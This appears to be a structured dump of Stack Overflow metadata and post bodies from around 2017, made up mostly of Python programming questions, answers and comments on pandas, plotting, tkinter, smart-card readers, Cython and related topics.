has body: I have acr1281 reader with SAM slot (secure access module). I can communicate with card by pc/sc using python library smartcard. But I want to send commands to the SAM inserted to the reader. How to 'switch commands channel' for that, is it even possible? smartcard library can send control command to reader (PC_to_RDR_Escape) but in the acr1281 documentation specified only GetFirmvareVersion command. I even can see that SAM inserted or not - I call SCardStatus() and with SAM inserted get 0x34 code (as I understand this is SCARD_POWERED=0x10 | SCARD_NEGOTIABLE=0x20 | SCARD_PRESENT=0x04), and without SAM it is 0x0c = SCARD_SWALLOWED=0x08 | SCARD_PRESENT=0x04. But all the commands I send go to MIFARE PICC placed on reader. And I want to send commands to SAM inserted into the reader.
score: 3
has title: How to send pcsc commands to SAM and not to card on reader
accepted answer: http://stackoverflow.com/a/46975560
tagged with: python
tagged with: pcsc
type: AnsweredQuestion

http://stackoverflow.com/q/47051028
type: Question
score: 2
accepted answer: http://stackoverflow.com/a/47051102
upvote count: 2
has answer: http://stackoverflow.com/a/47051102
answer count: 1
downvote count: 0
tagged with: python
tagged with: excel
type: AnsweredQuestion
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
has body: I am quite new to coding and I have done a very small Pandas course at work recently and a part of this course was to think about a project where we would like to improve something. I want to be able to recognise the missing values in a table from a CSV or Excel file and then make a list of these missing values. An example of imported CSV file: Company 2016 2015 2014 2013 2012 2011 2010 AAPL US 31 NaN 21.0 3.0 NaN 80.0 7 MSFT US 72 8.0 67.0 NaN 93.0 30.0 37 SNAP US 51 NaN NaN 7.0 33.0 16.0 44 FB US 49 56.0 33.0 97.0 NaN NaN 98 Into: AAPL US, 2015, 2012 MSFT US, 2013 SNAP US, 2015, 2014 FB US, 2012, 2011 I understand how to count them and etc, but I want to see a finalized list in some sort. Thanks!
has title: Recognizing missing values and return a list with these values
favorite count: 0

http://stackoverflow.com/q/47021057
has comment: http://stackoverflow.com/comment/80992458
has comment: http://stackoverflow.com/comment/80990069
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47023163
downvote count: 0
has comment: http://stackoverflow.com/comment/80990009
has answer: http://stackoverflow.com/a/47023163
possible better answer: http://stackoverflow.com/a/48837518
score: 8
favorite count: 0
type: Question
has title: bifurcation diagram with python
has comment: http://stackoverflow.com/comment/80993014
has answer: http://stackoverflow.com/a/48837518
answer count: 2
upvote count: 8
has comment: http://stackoverflow.com/comment/80996512
tagged with: python
has body: I'm a beginner and I don't speak english very well so sorry about that. I'd like to draw the bifurcation diagram of the sequence : x(n+1)=ux(n)(1-x(n)) with x(0)=0.7 and u between 0.7 and 4. I am supposed to get something like this : So, for each value of u, I'd like to calculate the accumulation points of this sequence. That's why I'd like to code something that could display every points (u;x1001),(u;x1002)...(u;x1050) for each value of u. I did this : import matplotlib.pyplot as plt import numpy as np P=np.linspace(0.7,4,10000) m=0.7 Y=[m] l=np.linspace(1000,1050,51) for u in P: X=[u] for n in range(1001): m=(u*m)*(1-m) break for l in range(1051): m=(u*m)*(1-m) Y.append(m) plt.plot(X,Y) plt.show() And, I get a blank graphic. This is the first thing I try to code and I don't know anything yet in Python so I need help please.

http://stackoverflow.com/comment/81038294
score: 0
comment on: http://stackoverflow.com/q/47026039
type: QuestionComment
type: Comment
has text: @psagers I took some time to read about how sessions/users/authentication in hope of getting a better understanding of this. I also added a `hasattr(user, 'backend')` to `django_auth_ldap.backend::LDAPBackend::get_group_permissions` and it always returns `False` when I login through the django admin interface. So I'm not sure how to see which backend my user was authenticated with.

http://stackoverflow.com/q/46915617
type: Question
has answer: http://stackoverflow.com/a/46915692
answer count: 2
accepted answer: http://stackoverflow.com/a/46915858
has body: I am making a console application that can load different dictionaries filled with Spanish words and definitions, my thinking here is that I want to make all the objects of my Dictionary class in this module and then import them via one dict_of_dicts into main.py. Instead of writing out each instantiating each individual object like so: animals_dict = Dictionary('animals') I wanted to loop through my dict_of_dicts and create them. Now when I do this I get a NameError because these objects are not yet defined, which makes sense I suppose, but I was wondering if there is a work around here to make these objects by a loop instead of just writing them out one by one. # list of dictionaries loaded into main.py at runtime from dict_class import Dictionary dict_of_dicts = {'animals':animals_dict, 'nature':nature_dict, 'irregulars':irregulars_dict, 'clothes':clothes_dict, 'foodbev':foodbev_dict, 'phrases':phrases_dict, 'verbs':verbs_dict,'adjectives':adjectives_dict,'future':future_dict,'past':past_dict, 'wotd':wotd_dict} for k,v in dict_of_dicts: v = Dictionary(k) #k=self.name print(v) #v=object
score: 0
possible better answer: http://stackoverflow.com/a/46915692
tagged with: object
tagged with: nameerror
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46915858
tagged with: python
tagged with: dictionary
has title: Python Dictionary Object Instantiation NameError

http://stackoverflow.com/q/46968007
tagged with: python-3.x
type: AnsweredQuestion
has body: If we have multiple classes in a single Python file, is it possible to import modules or libraries independently in those classes? I have found that unlike Java, Python has no style guide that suggests to separate classes in individual files. Even the Python modules have multiple classes; for example the calendar module has 10 classes in a single file (calendar module source code). In my scenario, I have a Python file called planet.py. It has multiple classes. One of the classes requires to import pyttsx3 module. Then it needs to get a reference to the pyttsx3.Engine instance before using it. Currently I am importing the module and creating the instance in class __init__ method like below. class Animal: pass class Speaker: def __init__(self): import pyttsx3 self.engine = pyttsx3.init() def speak(self, text): self.engine.say(text) self.engine.runAndWait() Some other programmers suggest me not to import modules inside functions. They said it will execute the import statement every time the function is called. I do not know how to do so. Apart from the main question, what is the best practice to follow in scenarios like this?
has comment: http://stackoverflow.com/comment/80883462
tagged with: python
has title: Multiple classes in a single python file with different dependencies
has comment: http://stackoverflow.com/comment/80883695
linked to: http://stackoverflow.com/q/2029523
tagged with: python-3.6
has answer: http://stackoverflow.com/a/46968192
has comment: http://stackoverflow.com/comment/80883396
type: Question
tagged with: python-import
has comment: http://stackoverflow.com/comment/80883636
answer count: 1
has comment: http://stackoverflow.com/comment/80883415
downvote count: 0
accepted answer: http://stackoverflow.com/a/46968192
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/80883588
tagged with: libraries
favorite count: 0

http://stackoverflow.com/a/68611323
answers question: http://stackoverflow.com/q/46933824
has body: We can add unique label to each axis to plot it. ax = plt.subplot(label='testlabel')
type: Answer
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/a/47027306
has body: If you are looking to return True if the string is either all digits or all letters, you can do: for case in ('abcdefg','12345','2ae12'): print case, case.isalpha() or case.isdigit() Prints: abcdefg True 12345 True 2ae12 False If you want the same logic with a regex, you would do: import re for case in ('abcdefg','12345','2ae12'): print case, bool(re.search(r'^(?:[a-zA-Z]+|\d+)$', case))
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47027212
downvote count: 0
type: Answer

http://stackoverflow.com/a/46983181
has body: So you want something like ? df.query('col3=={}'.format(dict['x']))
score: 1
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/46983013

http://stackoverflow.com/a/47035432
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81017058
has body: You can change only DataFrame in list of DataFrames, so df1 - df3 are not changed with ffill and parameter inplace=True: data_frame_list = [df1, df2, df3] for df in data_frame_list: df.ffill(inplace=True) print (data_frame_list) [ 0 1 2 3 0 0.506726 0.057531 0.627580 0.132553 1 0.131085 0.788544 0.506686 0.412826 2 0.578009 0.488174 0.335964 0.140816 3 0.891442 0.086312 0.847512 0.529616 4 0.550261 0.848461 0.158998 0.529616 5 0.817808 0.977898 0.933133 0.310414 6 0.481331 0.382784 0.874249 0.363505 7 0.384864 0.035155 0.634643 0.009076 8 0.197091 0.880822 0.002330 0.109501 9 0.623105 0.999237 0.567151 0.487938, 0 1 2 3 0 0.104856 0.525416 0.284066 0.658453 1 0.989523 0.644251 0.284066 0.141395 2 0.488099 0.167418 0.284066 0.097982 3 0.930415 0.486878 0.284066 0.192273 4 0.210032 0.244598 0.175200 0.367130 5 0.981763 0.285865 0.979590 0.924292 6 0.631067 0.119238 0.855842 0.782623 7 0.815908 0.575624 0.037598 0.532883 8 0.346577 0.329280 0.606794 0.825932 9 0.273021 0.503340 0.828568 0.429792, 0 1 2 3 0 0.491665 0.752531 0.780970 0.524148 1 0.635208 0.283928 0.821345 0.874243 2 0.454211 0.622611 0.267682 0.726456 3 0.379144 0.345580 0.694614 0.585782 4 0.844209 0.662073 0.590640 0.612480 5 0.258679 0.413567 0.797383 0.431819 6 0.034473 0.581294 0.282111 0.856725 7 0.352072 0.801542 0.862749 0.000285 8 0.793939 0.297286 0.441013 0.294635 9 0.841181 0.804839 0.311352 0.171094]
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/47035399
answers question: http://stackoverflow.com/q/47035399
type: AcceptedAnswer

http://stackoverflow.com/comment/81046791
score: 0
comment on: http://stackoverflow.com/q/47049619
type: Comment
type: QuestionComment
has text: you can refer http://www.tjscientific.com/2017/01/31/using-python-and-opencv-to-create-a-difference-of-gaussian-filter/

http://stackoverflow.com/q/46983992
has comment: http://stackoverflow.com/comment/80915648
has comment: http://stackoverflow.com/comment/80915501
favorite count: 0
has comment: http://stackoverflow.com/comment/80915533
type: Question
has comment: http://stackoverflow.com/comment/80915667
tagged with: stdin
has comment: http://stackoverflow.com/comment/80917205
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80915505
has comment: http://stackoverflow.com/comment/80915595
downvote count: 0
has comment: http://stackoverflow.com/comment/80915552
has body: My code is as follows: def function(a, b): while a != 0 and b != 0: ... return x if __name__ == "__main__": input = sys.stdin.read() a, b = map(int, input.split()) print(function(a, b)) When I try to run it, the program doesn't give me a chance to input. I get the following traceback message: ValueError: not enough values to unpack (expected 2, got 0) Can someone tell me the reason and how I can make input to test my program. Thanks a lot.
tagged with: input
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80915487
has comment: http://stackoverflow.com/comment/80915961
has comment: http://stackoverflow.com/comment/80915442
has comment: http://stackoverflow.com/comment/80916225
has comment: http://stackoverflow.com/comment/80915582
has comment: http://stackoverflow.com/comment/80916022
has comment: http://stackoverflow.com/comment/80915781
has comment: http://stackoverflow.com/comment/80915823
score: 1
has answer: http://stackoverflow.com/a/46985020
has comment: http://stackoverflow.com/comment/80915995
has title: When using sys.stdin.read(), why I am not able to input from keyboard?
answer count: 1
has comment: http://stackoverflow.com/comment/80915619

http://stackoverflow.com/q/46996705
has answer: http://stackoverflow.com/a/46997192
accepted answer: http://stackoverflow.com/a/46997192
tagged with: python
tagged with: queue
has body: I have a thread that reads data from an input queue, does something with it, and then puts the result on an output queue to be consumed later. However, it looks like the thread is only able to write to the output queue once. What am I doing wrong? Below is a highly simplified, self-contained version of my code. import queue import threading def do_work(input_queue,output_queue): input_number = input_queue.get() output_number = input_number ** 2 input_queue.task_done() output_queue.put(output_number) input_queue = queue.LifoQueue() output_queue = queue.LifoQueue() t = threading.Thread(name="Some thread", target=do_work, args=(input_queue,output_queue)) t.start() for i in range(1000): input_queue.put(i) if output_queue.empty(): print('input: {0}'.format(i)) else: result = output_queue.get() print('result: {0}'.format(result)) output_queue.task_done() This results in the following output: input: 0 result: 0 input: 2 input: 3 input: 4 ... input: 999 The "result" is only printed once, but I expected it to be printed multiple times, once for each input.
score: 0
tagged with: multithreading
answer count: 1
has title: python thread stops writing to output queue
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80940102

http://stackoverflow.com/q/47045436
tagged with: python
tagged with: nlp
accepted answer: http://stackoverflow.com/a/47045437
has body: I want to use the python package pyrouge on Microsoft Windows. The package doesn't give any instructions on how to install it on Microsoft Windows. How can I do so?
score: 2
type: AnsweredQuestion
tagged with: summarization
tagged with: windows
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/43289915
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47045437
upvote count: 2
has title: How to install the Python package pyrouge on Microsoft Windows?

http://stackoverflow.com/comment/80855823
score: 0
type: Comment
type: QuestionComment
has text: @karmalis so `if (!cp.pkey_data) {`: first time it should read the file but the second time it should skip that part right?
comment on: http://stackoverflow.com/q/46953656

http://stackoverflow.com/q/46928106
has comment: http://stackoverflow.com/comment/80813845
score: 0
has comment: http://stackoverflow.com/comment/80804146
has comment: http://stackoverflow.com/comment/80809689
has comment: http://stackoverflow.com/comment/80804543
upvote count: 1
has body: Is there any memory efficient way to pass large data set from flask into Jinja2 template, and iteratively display the data? Flask Route: @application.route("/get_report", methods=["GET", "POST"]) def get_report(): huge_list_of_data = retrieve_report_from_db() return render_template('display_report.html', **{'report_data': huge_list_of_data}) Jinja2 Template (display_report.html): My Report ... {% for item in data_report %} {% if item.get('determinant_param') %} item['param1'] .... item['paramN'] {% endif %} {% endfor %} Is there a way to load and display the data passed from /get_report as fast as possible.
tagged with: jinja2
downvote count: 1
has title: Passing large data set from Flask to Jinja
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80804726
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80804088
has comment: http://stackoverflow.com/comment/80803135
tagged with: python
tagged with: flask
answer count: 0

http://stackoverflow.com/comment/80773039
score: 0
type: Comment
has text: Ah, but there is a `2085185-5719` in one the rows, may not work.
type: AnswerComment
comment on: http://stackoverflow.com/a/46912895

http://stackoverflow.com/q/46978058
has comment: http://stackoverflow.com/comment/80904593
has body: I'm trying to make a layout with only STD'S Frames resizable. I tried using row_configure and column_configure, but due to the fact that widgets are on frames, or the fact that frames have columnspan, widgets don't seem to resize. Here is how the layout looks like now. Any suggestions? 'text.txt' REQUIRED FOR CODE R1:Saluda y pregunta al inicio los roles y nombres, y si desea cargar una partida.:Errores importantes son, por ejemplo, no preguntar directamente por los roles. R2:Dialogo con el usuario durante el transcurso de un turno: durante cada turno pregunta la jugada del usuario y si desea guardar la partida, además explica de forma adecuada el formato del movimiento.:Muestra claramente cómo debe ser el input para el movimiento. Lo demás es meramente el acto de preguntar. Preguntar por guardar es un punto, mientras que "preguntar y explicar bien el movimiento" también es un punto. R3:Al final de una partida avisa el ganador y pregunta si quiere seguir jugando. En caso de que no quieran seguir, entonces termina el juego. De lo contrario, se reinicia el juego de 0.:El programa debe manejar que el usuario no quiere seguir jugando, es decir, que si el jugador elige no seguir el juego termina de forma correcta sin caerse. Entiendase "reiniciar de cero" que es como si el programa corriese por primera vez. R4:Imprime el tablero 5x5 con las fichas representadas según formato.:Es importante que concuerde con el sistema de coordenadas descrito en el enunciado y el formato de este. R5:Recibe y decodifica el input del movimiento de forma correcta:Pide el input en el formato pedido en el enunciado y lo guarda y/o utiliza. R6:Efectúa el movimiento indicado de forma correcta (siempre que este sea válido).:Esta parte se debe corregir solamente con movimientos válidos. El movimiento de comer una gallina no cuenta aquí ya que este se evalúa en R8 y R9. R7:Avisa cuando una jugada es inválida, además de evitar dicha jugada. (No es necesario controlar coordenadas fuera de rango):La m…
accepted answer: http://stackoverflow.com/a/46978696
has title: Expand Text Widget without expanding other widgets tkinter
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/46978696
downvote count: 1
type: AnsweredQuestion
tagged with: widget
answer count: 1
has comment: http://stackoverflow.com/comment/80904445
has comment: http://stackoverflow.com/comment/80904144
favorite count: 0
type: Question
tagged with: tkinter
has comment: http://stackoverflow.com/comment/80904940
upvote count: 0

http://stackoverflow.com/comment/80758738
type: QuestionComment
comment on: http://stackoverflow.com/q/46905980
score: 1
type: Comment
has text: `fp = open('your_file_name', 'w')` and immediately after `fp.close()` will make a 0-sized file

http://stackoverflow.com/comment/80776127
comment on: http://stackoverflow.com/q/46914250
type: Comment
type: QuestionComment
has text: Why do you think you need to redefine this function each time? It's pretty much an anti-pattern...
score: 0

http://stackoverflow.com/comment/81049705
type: QuestionComment
has text: hence the trick of using `group by` and/or `generate_series` to create a range, join and aggregate on it, then use a row-range window on the result.
comment on: http://stackoverflow.com/q/47037375
score: 0
type: Comment

http://stackoverflow.com/q/46951277
has comment: http://stackoverflow.com/comment/80850899
tagged with: numpy
has comment: http://stackoverflow.com/comment/80851625
has comment: http://stackoverflow.com/comment/80850884
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/80850861
has comment: http://stackoverflow.com/comment/80850228
has comment: http://stackoverflow.com/comment/80851128
has comment: http://stackoverflow.com/comment/80850589
has comment: http://stackoverflow.com/comment/80850647
upvote count: 0
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/80851005
has body: I have six equations and six variables. I am solving it through numpy using np.linalg.solve(a, b). The result gives me 6 values but I don't know which value is x1,x2... unknown variable result satisfies only one equation that is x1+x2+x3+x4+x5+x6=1. but it does not satisfies other equation. I am considering that x[0] is x1. x[1] is x2 but which is not true because other equation not satisfies when I put according to this format. How can I find which is x1,x2,x3,x4,x5,x6 in returning list? My code is import numpy as np a = np.array([[-1,0,0,0.25,1,0.33], [0.33,-1,0,0,0,0.33], [0.33,0.25,-1,0.25,0,0] , [0,0.25,0.5,-1,0,0], [0,0.25,0.5,0.25,-1,0.33], [1,1,1,1,1,1]]) b = np.array([0,0,0,0,0,1]) x = np.linalg.solve(a, b) print x answer is: [ 0.2644666 0.13780854 0.14895903 0.10893165 0.18669913 0.15313504]
has comment: http://stackoverflow.com/comment/80849513
downvote count: 1
has title: Find unknown variable in set of equations in numpy
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80849760
has comment: http://stackoverflow.com/comment/80851072
has comment: http://stackoverflow.com/comment/80850142
has comment: http://stackoverflow.com/comment/80849869
has comment: http://stackoverflow.com/comment/80850966
has comment: http://stackoverflow.com/comment/80850900
tagged with: python
linked to: http://stackoverflow.com/q/588004
score: -1
has comment: http://stackoverflow.com/comment/80850696
has answer: http://stackoverflow.com/a/46951552
has comment: http://stackoverflow.com/comment/80851115
has comment: http://stackoverflow.com/comment/80850651

http://stackoverflow.com/q/46962636
tagged with: python
has title: How to expose static constexpr from cython
tagged with: c++
type: AnsweredQuestion
score: 3
upvote count: 3
answer count: 1
tagged with: cython
has body: I need to wrap the following demo example from cpp to cython for using in Python class Foo1 : public MFoo&lt;unsigned int&gt; { public: constexpr Foo1(unsigned int val) : MFoo{val} {} } }; class Foo{ public: static constexpr Foo1 any {0}; static constexpr Foo1 one {1&lt;&lt;1}; static constexpr Foo1 two {1&lt;&lt;2}; }; This is what I currently have file.pxd cdef extern from "../MFoo.hpp": cdef cppclass MFoo: pass cdef extern from "../header.hpp": cdef cppclass Foo1(MFoo): pass cdef extern from "../header.hpp": cdef cppclass Foo: ###@staticmethod Foo1 _any "Foo::any" Foo1 _one "Foo::one" Foo1 _two "Foo::two" ###any=_any ### I also need to link my cpp definitions of any,one and two ###to cython file but I am facing Error:Python object cannot be declared extern My file.pyx def Bar(self,PyFoo1 abc) return file.Bar(######) # how would I call something like Foo::one I need to know how to wrap this in cython. I am using How to expose a constexpr to Cython? which is similar but still not very useful
accepted answer: http://stackoverflow.com/a/46998685
has comment: http://stackoverflow.com/comment/80873855
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46998685
tagged with: constexpr
tagged with: static
downvote count: 0
linked to: http://stackoverflow.com/q/25181964

http://stackoverflow.com/q/47041212
downvote count: 0
answer count: 1
tagged with: pyqt5
upvote count: 1
favorite count: 0
type: Question
has title: QTextBrowser doesn't properly show backslashed characters
linked to: http://stackoverflow.com/q/13946734
tagged with: python
tagged with: qbytearray
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47042414
tagged with: pyqt
has body: I'm creating a widget that will display XML strings in a pretty formatted way. To do this I'm using a QXmlStreamReader and a QXmlStreamWriter (based on the answer from Format XML file in c++ or Qt) and feed the text to a QTextBrowser: message = " John Smith football tenis dancing " byteArray = QByteArray() xmlReader = QXmlStreamReader(message) xmlWriter = QXmlStreamWriter(byteArray) xmlWriter.setAutoFormatting(True) while (not xmlReader.atEnd()): xmlReader.readNext(); if (not xmlReader.isWhitespace()): xmlWriter.writeCurrentToken(xmlReader) prettyMessage = str(byteArray.data()) textBrowser.setText(prettyMessage) But the resulting text doesn't convert \n to new lines: If I input manually a string with \n in it, they are converted to new lines: textBrowser.setText("1\n2\n3\n4") I've checked the exact content of byteArray to make sure that the \n is passed as one character and not as two separate '\' and 'n' characters: for i in range(0, byteArray.size()): sys.stdout.write(byteArray.at(i)) prints out the XML string as expected: <?xml version="1.0" encoding="UTF-8"?> John Smith football tenis dancing I'm using python 3.6 with PyQt5
score: 1
has answer: http://stackoverflow.com/a/47042414

http://stackoverflow.com/q/46922967
upvote count: 1
has comment: http://stackoverflow.com/comment/80793307
has comment: http://stackoverflow.com/comment/80810636
has comment: http://stackoverflow.com/comment/80793270
favorite count: 0
has body: I'm having a lot of trouble importing a weirdly formatted text file into a Pandas DataFrame—or at all for that matter. Here are the first several lines of the text file: Name RA Dec B vh sig Type D1 D2 00006-0211 000032.0 -021129 14.3 7323 31 4X 1.3 0.8 00006+2142 000035.6 214054 14.4 6605 32 5 P 1.0 0.7 N7814 000041.1 155203 12.0 1050 4 2A s 6.5 2.7 00010+2256 000101.2 225519 14.0 7301 34 5 1.9 1.0 N7816 000115.2 071203 14.0 5241 5 4 2.0 2.0 N7817 000124.9 202818 12.7 2309 5 4A 4.0 1.1 N7819 000150.3 311138 14.3 4953 10 3B s 2.0 1.8 N7820 000156.7 045513 13.9 3064 19 0 1.6 0.7 N7824 000232.2 063833 14.5 6134 28 2 1.9 1.3 0003+1955 000345.1 195527 14.0 7730 19 -6 0.3 0.3 N 1 000441.3 272550 13.4 4534 6 3A s 1.8 1.2 00056+2644 000535.3 264331 14.4 8741 36 3 1.0 .55 N 12 000610.9 042005 14.5 3941 4 4B R 2.0 1.7 I think the 'Name' column is really throwing everything off. I'm able to perfectly import the 'B' column on by using: import pandas as pd df1 = pd.read_fwf('cfa1.txt', skiprows=11, header=None, names['GARBAGE', 'B', 'vh', 'sig', 'Type', 'D1', 'D2']) df2 = df1'B', 'vh', 'sig', 'Type', 'D1', 'D2' df2.head() where GARBAGE is all of the junk that isn't importing properly. I've also tried: df = pd.read_table('cfa1.txt', skiprows=11, header=None, names=['Name', 'RA', 'Dec', 'B', 'vh', 'sig', 'Type', 'D1', 'D2']) df.head() which didn't work. (I have many more failed attempts which I figure aren't worth including) Thank you in advance for your time and consideration!
type: Question
has title: Importing a weird text file into a Pandas DataFrame
has comment: http://stackoverflow.com/comment/81029761
has comment: http://stackoverflow.com/comment/80793214
tagged with: pandas
has comment: http://stackoverflow.com/comment/80821104
score: 1
has comment: http://stackoverflow.com/comment/80794249
has comment: http://stackoverflow.com/comment/80793405
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/80793203
tagged with: import
has comment: http://stackoverflow.com/comment/80793232
has comment: http://stackoverflow.com/comment/80793233
answer count: 0
tagged with: genfromtxt
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/80793873

django-generic-views
type: Tag
tags question: http://stackoverflow.com/q/47063143
tag name: django-generic-views
tags question: http://stackoverflow.com/q/46910558
tags question: http://stackoverflow.com/q/46970300

http://stackoverflow.com/q/47001214
has comment: http://stackoverflow.com/comment/80950618
tagged with: python
linked to: http://stackoverflow.com/q/3173320
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47002220
downvote count: 3
duplicate of: http://stackoverflow.com/q/3173320
has body: First of all, sorry for my english, it's not my native language. I've searched everywhere but I didn't find anything ... I'd like to know how does progress bars work in python, i've seen some example of 'loading animations' and i did one but for example if there is a file transfered somewhere how can i link the two of them so the bar progression will show the real file loading ? Right now im doing a 'dictionnary' program that create a text file of password combination and I can't figure out how to make a progress bar that show the progress of the process... Here is the code : import os,itertools os.system('touch wordlist.txt') file= open("wordlist.txt", "w") for n in range(minlenght,maxlength+1): for xs in itertools.product(caracters, repeat=n): word=''.join(xs) file.write(''.join(xs)+"\n") Thanks in advance.
has comment: http://stackoverflow.com/comment/80949478
has comment: http://stackoverflow.com/comment/80949991
has title: How does progressbar work in Python?
favorite count: 0
score: -1
has comment: http://stackoverflow.com/comment/80950650
accepted answer: http://stackoverflow.com/a/47002220
type: Question
possible better answer: http://stackoverflow.com/a/47002954
has comment: http://stackoverflow.com/comment/80949242
tagged with: python-3.x
answer count: 2
has comment: http://stackoverflow.com/comment/80950389
has answer: http://stackoverflow.com/a/47002954
upvote count: 2
has comment: http://stackoverflow.com/comment/80949592
has comment: http://stackoverflow.com/comment/80948979

http://stackoverflow.com/q/46973507
type: UnansweredQuestion
score: 1
answer count: 1
favorite count: 0
has body: I use the following function to plot one line per year of data (overlayed so that I can compare one year to the others). What I would like to get to is for each line to have a color defined as a gradient instead of the default color scale (i.e. 2008 line in light blue to 2017 line in very dark blue). What is the correct way to do this? I've tried using the colorscale parameter (see code) but can't quite figure it out where to put it. def plotPMByYear_plotly(df, minyear): allYears = list(set(list(df.Year))) allYears = [int(x) for x in allYears if str(x) != 'nan'] data = [] df = df[df["Year"]&gt;=minyear] for year in allYears: yeardf = df[df["Year"] == year] trace = go.Scatter( x = yeardf['Month'], y = yeardf['Value'], mode = 'lines', name = year ) colorscale='Jet', data.append(trace) iplot(data, filename='line-mode')
type: Question
has comment: http://stackoverflow.com/comment/80899939
tagged with: plotly
tagged with: python
has answer: http://stackoverflow.com/a/46979835
downvote count: 0
has title: change color scale in plotly line chart
upvote count: 1

http://stackoverflow.com/q/46945288
has answer: http://stackoverflow.com/a/46945473
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46946273
has answer: http://stackoverflow.com/a/46945383
tagged with: pandas
score: 1
has comment: http://stackoverflow.com/comment/80837890
tagged with: dataframe
answer count: 4
type: Question
has body: I have dataframe like this bin=[0,5,10] code sex age a 1 1 a 1 6 b 1 8 b 2 2 c 2 3 c 1 4 I summarized this df like df.groupby([df.code,df.sex,pd.cut(df.age,bin)]).size().unstack().stack().fillna(0) I get result like below code sex age a 1 (0,5] 1 a 1 (5,10] 1 a 2 (0,5] 0 a 2 (5,10] 0 b 1 (0,5] 0 b 1 (5,10] 1 b 2 (0,5] 1 b 2 (5,10] 0 c 1 (0,5] 1 c 1 (5,10] 0 c 2 (0,5] 1 c 2 (5,10] 0 I would like to transform this df to like 1 2 a b c a b c (0,5] 1 0 1 0 1 1 (5,10] 1 0 0 0 0 0 I tried stack() or unstack() but I totally confused to transform to above dataframe. How can I transform them? some one tell me how to transform df like this process.
has comment: http://stackoverflow.com/comment/80838149
upvote count: 2
possible better answer: http://stackoverflow.com/a/46945404
tagged with: python
accepted answer: http://stackoverflow.com/a/46945473
has answer: http://stackoverflow.com/a/46945404
has title: How to transform grouped dataframe in python
downvote count: 1
favorite count: 0

http://stackoverflow.com/a/46993389
type: Answer
has comment: http://stackoverflow.com/comment/80933674
has body: Instead of using: pip install &lt;module&gt; you can use the following to install the module which will install it to python-3.x (as long as python points to your python-3.x directory in your PATH): python -m pip install &lt;module&gt; Or alternatively, you can use pip3 to install it directly to python-3.x. To use pip3, you need to navigate to: C:\path\to\python\Scripts\pip3 and then run it as: pip3 install &lt;module&gt; and it will be installed to python-3.x rather than python-2.x.
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/46993282
has comment: http://stackoverflow.com/comment/80933566
upvote count: 1
has comment: http://stackoverflow.com/comment/80933911

http://stackoverflow.com/comment/81046018
has text: This will only work when table is at the top level of the soup. Recursive kwarg means that it only checks the top level of the soup, not that it checks the top level of the search object.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47033262

http://stackoverflow.com/comment/81020858
type: AnswerComment
comment on: http://stackoverflow.com/a/47037151
has text: True but i would suggest `np.concatenate` since `np.append` calls `concatenate` and you could avoid some intermediate declarations
type: Comment
score: 0

http://stackoverflow.com/comment/80809116
has text: Your regex matches 2-4 letters or digits. The look ahead `(?=.*?\d)` has no limitation in characters. So if the digit comes in position 5 or later, the look ahead finds it, but it doesn't get matched by `[A-Z\d]{2,4}`.
comment on: http://stackoverflow.com/q/46931138
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81028202
comment on: http://stackoverflow.com/q/47039417
type: QuestionComment
has text: @LuisOrduz passed via command line arguments.
type: Comment
score: 0

http://stackoverflow.com/comment/80874721
has text: If you check out the validator, you will see that the JSON is a big mess. The best way to fix it is to fix the program creating the JSON text file.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46963342

http://stackoverflow.com/q/47048513
type: AnsweredQuestion
score: 0
tagged with: list
possible better answer: http://stackoverflow.com/a/47048560
accepted answer: http://stackoverflow.com/a/47048671
has answer: http://stackoverflow.com/a/47048560
has title: stripping out white space and new line characters from a list entry in python
has body: Okay, so I'm working on a program that will do a series of things. First it will read the contents of 2 external files, then it will take each line of said files and convert those lines into a list, and those 2 lists will be combined into one list. each file is a list of names with an entry number before it, and a new line after it. So each file is a list of between 100 and 200 entries formatted like so: 1. Michael \n 2. Ben \n 3. Ken \n 4. David \n so the program opens the file, then reads each line into a list. Now here is where my problem is arising. I need to strip out the entry number, the white space and the new line command from each line. I'm using aline.aplit(' ') for each line so that: 1. Michael \n would become: ['1. ','Michael \n'] Okay, so from here I should just need to strip off the '\n' and then append[1] to the list of names from this file. Well this is where I'm getting an error. Specifically: Traceback (most recent call last): File "H:/ITP100/assignments/Chapter 7/Names-3.py", line 30, in entry1 = value_xy.rstrip('\n') AttributeError: 'list' object has no attribute 'rstrip' Here is the full code: Name1 = (input("Enter a name: ")) file_xy = open("BoyNames.txt", "r") list_xy = [] file_xx = open("GirlNames.txt", "r") list_xx = [] test_boys =[] test_girls =[] entry1 = [] for aline in file_xy: value_xy = aline.split(' ') entry1 = value_xy.rstrip('\n') test_boys.append[1] #entry2 = entry1[1].strip() list_xy.append(entry1[1]) for aline in file_xx: value_xx = aline.split(' ') entry_xx1 = value_xx.rstrip('\n') test_girls.append(entry_xx1) # entry_xx2 = value_xx[1].lstrip() 